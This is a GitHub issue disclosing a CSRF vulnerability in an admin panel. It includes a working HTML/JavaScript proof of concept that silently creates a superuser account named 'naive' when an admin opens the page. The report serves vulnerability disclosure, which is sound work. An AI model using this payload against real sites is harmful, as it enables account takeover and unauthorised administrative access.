Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF Vulneratbility to add admin account #6

Open
loveminhal opened this issue Mar 9, 2019 · 0 comments
Open

CSRF Vulneratbility to add admin account #6

loveminhal opened this issue Mar 9, 2019 · 0 comments

Comments

@loveminhal
Copy link

POC is following code which clicked by admin will generate a superuser account called "naive" whose password is also "naive".
<html>
<script>
function AddUser()
{
var req = new XMLHttpRequest();
var data = "user_login=naive&user_pass=naive&user_email=admin%40qq.com&role_id%5B%5D=1";
req.onload = reqListener;
req.open('post','http://host/sftnow-master/index.php?g=Admin&m=User&a=add_post',true);
req.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
req.withCredentials = true;
req.send(data);
function reqListener() {};
}
AddUser();
</script>
</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant